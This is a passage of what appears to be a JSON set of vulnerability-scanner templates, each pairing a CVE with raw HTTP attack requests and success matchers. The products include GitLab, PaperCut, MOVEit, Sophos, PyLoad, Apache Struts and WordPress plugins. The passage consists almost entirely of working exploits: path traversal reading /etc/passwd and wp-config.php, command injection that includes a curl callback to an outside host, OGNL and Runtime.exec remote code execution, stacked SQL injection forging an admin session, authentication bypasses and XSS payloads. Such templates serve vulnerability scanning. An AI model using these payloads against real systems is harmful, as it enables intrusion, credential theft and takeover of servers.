*/*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-3&group%5Bpath%5D={{data}}-3&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-4&group%5Bpath%5D={{data}}-4&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-5&group%5Bpath%5D={{data}}-5&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-6&group%5Bpath%5D={{data}}-6&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-7&group%5Bpath%5D={{data}}-7&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-8&group%5Bpath%5D={{data}}-8&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-9&group%5Bpath%5D={{data}}-9&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-10&group%5Bpath%5D={{data}}-10&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-11&group%5Bpath%5D={{data}}-11&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","@timeout: 15s\nPOST /projects HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nproject%5Bci_cd_only%5D=false&project%5Bname%5D=CVE-2023-2825&project%5Bselected_namespace_id%5D={{namespace_id}}&project%5Bnamespace_id%5D={{namespace_id}}&project%5Bpath%5D=CVE-2023-2825&project%5Bvisibility_level%5D=20&project%5Binitialize_with_readme=1&authenticity_token={{token_2}}\n","POST /{{data}}-1/{{data}}-2/{{data}}-3/{{data}}-4/{{data}}-5/{{data}}-6/{{data}}-7/{{data}}-8/{{data}}-9/{{data}}-10/{{data}}-11/CVE-2023-2825/uploads HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nX-CSRF-Token: {{x-csrf-token}}\nContent-Type: multipart/form-data; boundary=0ce2a9fbe06b6da89c138a35a1765ed6\n\n--0ce2a9fbe06b6da89c138a35a1765ed6\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}\"\n\n{{randstr}}\n--0ce2a9fbe06b6da89c138a35a1765ed6--\n","GET /{{data}}-1/{{data}}-2/{{data}}-3/{{data}}-4/{{data}}-5/{{data}}-6/{{data}}-7/{{data}}-8/{{data}}-9/{{data}}-10/{{data}}-11/CVE-2023-2825/uploads/{{upload-hash}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"cookie-reuse":true,"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","words":["726f6f743a78"],"encoding":"hex"},{"type":"word","part":"header","words":["application/octet-stream","etc%2Fpasswd"],"condition":"and"}],"extractors":[{"type":"regex","name":"token_1","group":1,"regex":["name=\"authenticity_token\" value=\"([A-Za-z0-9_-]+)\""],"internal":true,"part":"body"},{"type":"regex","name":"token_2","group":1,"regex":["name=\"csrf\\-token\" content=\"([A-Z_0-9a-z-]+)\""],"internal":true,"part":"body"},{"type":"regex","name":"parent_id","group":1,"regex":["href=\"\\/groups\\/new\\?parent_id=([0-9]+)"],"internal":true,"part":"body"},{"type":"regex","name":"namespace_id","group":1,"regex":["ref=\"\\/projects\\/new\\?namespace_id=([0-9]+)"],"internal":true,"part":"body"},{"type":"regex","name":"x-csrf-token","group":1,"regex":["const headers = \\{\"X\\-CSRF\\-Token\":\"([a-zA-Z-0-9_]+)\""],"internal":true,"part":"body"},{"type":"regex","name":"upload-hash","group":1,"regex":["\"url\":\"\\/uploads\\/([0-9a-z]+)\\/"],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-1496","info":{"name":"Imgproxy < 3.14.0 - Cross-site Scripting (XSS)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/unsafe/plain/https://cve-2023-1496.s3.amazonaws.com/imgproxy_xss.svg"],"matchers":[{"type":"dsl","dsl":["contains(body, 'PC9zdmc+#test')","status_code == 200"],"condition":"and"}],"extractors":[{"type":"dsl","dsl":["content_security_policy"]}]}]},{"id":"CVE-2023-34960","info":{"name":"Chamilo Command Injection","severity":"high"},"requests":[{"raw":["POST /main/webservices/additional_webservices.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/xml; charset=utf-8\n\n\nfile_datafile_name`{}`.pptx'|\" |cat /etc/passwd||a #service_ppt2lp_size720x540\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"],"part":"body"},{"type":"word","part":"header","words":["text/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-27482","info":{"name":"Home Assistant Supervisor - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /api/hassio/app/.%252e/supervisor/info HTTP/1.1\nHost: {{Hostname}}\n","GET /api/hassio/app/.%09./supervisor/info HTTP/1.1 # Mitigation bypass 1\nHost: {{Hostname}}\n","GET /api/hassio_ingress/.%09./supervisor/info HTTP/1.1 # Mitigation bypass 2\nHost: {{Hostname}}\nX-Hass-Is-Admin:1\n"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["\"slug\":","\"name\":","\"ip_address\""],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-2732","info":{"name":"MStore API <= 3.9.2 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /wp-json/wp/v2/add-listing?id=1 HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n","GET /wp-admin/profile.php HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["email-description","Username"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-39143","info":{"name":"PaperCut < 22.1.3 - Path Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/custom-report-example/..\\..\\..\\deployment\\sharp\\icons\\home-app.png"],"matchers":[{"type":"dsl","dsl":["content_length == 1655","status_code == 200","contains(to_lower(content_type), \"image/png\")","contains(hex_encode(body), \"89504e470d0a1a0a\")"],"condition":"and"}]}]},{"id":"CVE-2023-20888","info":{"name":"VMware Aria Operations for Networks - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /api/auth/login HTTP/2\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\nX-Vrni-Csrf-Token: null\n\n{\"username\":\"{{username}}\",\"password\":\"{{password}}\",\"domain\":\"localdomain\"}\n","POST /api/events/push-notifications HTTP/2\nHost: {{Hostname}}\nX-Vrni-Csrf-Token: {{csrf}}\nContent-Type: application/json\n\n{\"endOffset\": \"{{ generate_java_gadget(\"dns\", \"http://{{interactsh-url}}\", \"base64\") }} \"}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"status","status":[500]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["csrfToken\":\"([a-z0-9A-Z/+=]+)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-0297","info":{"name":"PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)","severity":"critical"},"requests":[{"raw":["GET /flash/addcrypted2 HTTP/1.1\nHost: {{Hostname}}\n","POST /flash/addcrypted2 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\njk=pyimport+os%3Bos.system%28%22{{cmd}}%22%29%3Bf%3Dfunction+f2%28%29%7B%7D%3B&packages=YyVIbzmZ&crypted=ZbIlxWYe&passwords=oJFFUtTw\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["JDownloader"]},{"type":"word","part":"interactsh_protocol","words":["dns"]}]}]},{"id":"CVE-2023-2252","info":{"name":"Directorist < 7.5.4 - Local File Inclusion","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/edit.php?post_type=at_biz_dir&page=tools&step=2&file=%2Fetc%2Fpasswd&delimiter=%3B HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1671","info":{"name":"Sophos Web Appliance - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /index.php?c=blocked&action=continue HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nargs_reason=filetypewarn&url={{randstr}}&filetype={{randstr}}&user={{randstr}}&user_encoded={{base64(\"\\';curl http://{{interactsh-url}} #\")}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2023-24735","info":{"name":"PMB 7.4.6 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/pmb/opac_css/pmb.php?url=https://oast.me&hash={{md5('https://oast.me')}}"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.me\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2023-24367","info":{"name":"Temenos T24 R20 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/jsps/genrequest.jsp?routineName=\">"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Processing..."],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-35082","info":{"name":"MobileIron Core - Remote Unauthenticated API Access","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/mifs/asfV3/api/v2/admins/users"],"max-size":100,"matchers":[{"type":"dsl","dsl":["contains_all(body, 'results','userId','name')","contains(header, 'application/json')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-27350","info":{"name":"PaperCut - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /app?service=page/SetupCompleted HTTP/1.1\nHost: {{Hostname}}\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FSetupCompleted%2F%24Form&sp=S0&Form0=%24Hidden%2CanalyticsEnabled%2C%24Submit&%24Hidden=true&%24Submit=Login\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=print-and-device.script.enabled&doQuickFind=Go\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240&%24TextField%240=Y&%24Submit=Update\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=print.script.sandboxed&doQuickFind=Go\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240&%24TextField%240=N&%24Submit=Update\n","GET /app?service=page/PrinterList HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=page%2FPrinterList\n","POST /app?service=direct/1/PrinterList/selectPrinter&sp={{printerID}} HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FPrinterList%2FselectPrinter&sp={{printerID}}\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FPrinterDetails%2FprinterOptionsTab.tab&sp=4\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FPrinterDetails%2F%24PrinterDetailsScript.%24Form&sp=S0&Form0=printerId%2CenablePrintScript%2CscriptBody%2C%24Submit%2C%24Submit%240%2C%24Submit%241&printerId={{printerID}}&enablePrintScript=on&scriptBody=function+printJobHook%28inputs%2C+actions%29+%7B%7D%0D%0Ajava.lang.Runtime.getRuntime%28%29.exec%28%27{{cmd}}%27%29%3B&%24Submit%241=Apply\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["Avanceret kontering"]}],"extractors":[{"type":"regex","name":"printerID","group":1,"regex":["erList\\/selectPrinterCost&sp=([a-z0-9]+)\">"],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-2272","info":{"name":"Tiempo.com <= 0.1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","POST /wp-admin/admin.php?page=tiempocom%2Fapp%2Fadmin.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\npage=%22%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"\")","contains(body_2, \"Tiempo\")"],"condition":"and"}]}]},{"id":"CVE-2023-34362","info":{"name":"MOVEit Transfer - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: python-requests/2.26.0\nCookie: siLockLongTermInstID=0\n","POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1\nHost: {{Hostname}}\nAx-silock-transaction: folder_add_by_path\nX-siLock-Transaction: session_setvars\nX-siLock-SessVar0: MyUsername: Guest\nX-siLock-SessVar1: MyPkgAccessCode: 123\nX-siLock-SessVar2: MyGuestEmailAddr: my_guest_email@example.com\nCookie: siLockLongTermInstID=0\n","POST /guestaccess.aspx HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: python-requests/2.26.0\nAccept-Encoding: gzip, deflate\nCookie: siLockLongTermInstID=0\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nArg06=123\n","@Host: https://checkip.amazonaws.com\nGET / HTTP/1.1\nHost: checkip.amazonaws.com\n","POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: python-requests/2.26.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nAx-silock-transaction: folder_add_by_path\nX-siLock-Transaction: session_setvars\nX-siLock-SessVar0: MyPkgID: 0\nX-siLock-SessVar1: MyPkgSelfProvisionedRecips: SQL Injection'); INSERT INTO activesessions (SessionID) values ('{{sessioncookie}}');UPDATE activesessions SET Username=(select Username from users order by permission desc limit 1) WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET LoginName='test@test.com' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET RealName='test@test.com' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET InstId='1234' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET IpAddress='{{ips}}' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET LastTouch='2099-06-10 09:30:00' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET DMZInterface='10' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET Timeout='60' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET ResilNode='10' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET AcctReady='1' WHERE SessionID='{{sessioncookie}}'; -- asdf\nCookie: siLockLongTermInstID=0\nContent-Length: 0\n","POST /guestaccess.aspx HTTP/1.1\nHost: {{Hostname}}\nCookie: siLockLongTermInstID=0\nContent-Type: application/x-www-form-urlencoded\n\nCsrfToken={{csrf}}&transaction=secmsgpost&Arg01=email_subject&Arg04=email_body&Arg06=123&Arg05=send&Arg08=email%40example.com&Arg09=attachment_list\n","POST /api/v1/auth/token HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: python-requests/2.26.0\nAccept-Encoding: gzip, deflate\nCookie: ASP.NET_SessionId={{sessioncookie}}\nContent-Type: application/x-www-form-urlencoded\n\ngrant_type=session&username=x&password=x\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_7","words":["{\"access_token\":"]},{"type":"word","part":"header_7","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"ips","regex":["\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\b"],"internal":true},{"type":"regex","name":"csrf","group":1,"regex":["name=\"csrftoken\" value=\"(\\w+)\">"],"internal":true,"part":"body"},{"type":"regex","name":"access_token","group":1,"regex":["\"access_token\":\"([^\"]+)\""],"part":"body"}]}]},{"id":"CVE-2023-2023","info":{"name":"Custom 404 Pro < 3.7.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=c4p-main&s={{randstr}}%22%20style=animation-name:rotation%20onanimationstart=alert(document.domain)// HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"onanimationstart=alert(document.domain)//\")","contains(body_2, \"Custom 404 Pro\")"],"condition":"and"}]}]},{"id":"CVE-2023-23492","info":{"name":"Login with Phone Number - Cross-Site Scripting","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=lwp_forgot_password&ID="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","message\":\"Update password"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-23752","info":{"name":"Joomla! Webservice - Password Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/index.php/v1/config/application?public=true","{{BaseURL}}/api/v1/config/application?public=true"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"links\":","\"attributes\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json","application/vnd.api+json"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-35078","info":{"name":"Ivanti Endpoint Manager Mobile (EPMM) - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/mifs/aad/api/v2/admins/users"],"max-size":100,"matchers":[{"type":"dsl","dsl":["contains_all(body, 'results','userId','name')","contains(header, 'application/json')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-33338","info":{"name":"Old Age Home Management System v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /admin/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=vaday%27+or+1%3D1%23&password=password&submit=\n","GET /admin/dashboard.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"Change Password\")","contains(body_2, \"Old Age Home Management System|| Dashboard\")"],"condition":"and"}]}]},{"id":"CVE-2023-3479","info":{"name":"Hestiacp <= 1.7.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/templates/pages/debug_panel.php?id={{randstr}}\">"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["debug-panel",""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-2248","info":{"name":"Apache Struts - Multiple Open Redirection Vulnerabilities","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.action?redirect:http://www.interact.sh/"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2013-7091","info":{"name":"Zimbra Collaboration Server 7.2.2/8.0.2 Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00","{{BaseURL}}/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../etc/passwd%00"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"word","words":["zimbra_server_hostname","zimbra_ldap_userdn","zimbra_ldap_password","ldap_postfix_password","ldap_amavis_password","ldap_nginx_password","mysql_root_password"],"condition":"or"},{"type":"regex","regex":["root=.*:0:0"]}]}]},{"id":"CVE-2013-7240","info":{"name":"WordPress Plugin Advanced Dewplayer 1.2 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD","DB_HOST","The base configurations of the WordPress"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-2287","info":{"name":"WordPress Plugin Uploader 1.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/uploader/views/notify.php?notify=unnotif&blog=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-4117","info":{"name":"WordPress Plugin Category Grid View Gallery 2.3.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-5528","info":{"name":"Cisco Unified Communications Manager 7/8/9 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-2251","info":{"name":"Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution","severity":"critical"},"requests":[{"raw":["GET /index.action?{{params}}:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","GET /login.action?{{params}}:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","GET /index.action?{{params}}%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"payloads":{"params":["redirect","action","redirectAction"]},"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"]},{"type":"status","status":[200,400],"condition":"or"}]}]},{"id":"CVE-2013-1965","info":{"name":"Apache Struts2 S2-012 RCE","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/user.action"],"body":"name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D\n","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-5979","info":{"name":"Xibo 1.2.2/1.4.1 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?p=../../../../../../../../../../../../../../../../etc/passwd%00index&q=About&ajax=true&_=1355714673828"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-3526","info":{"name":"WordPress Plugin Traffic Analyzer - 'aoid' Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?aoid=%3Cscript%3Ealert(1)%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-4625","info":{"name":"WordPress Plugin Duplicator < 0.4.5 - Cross-Site 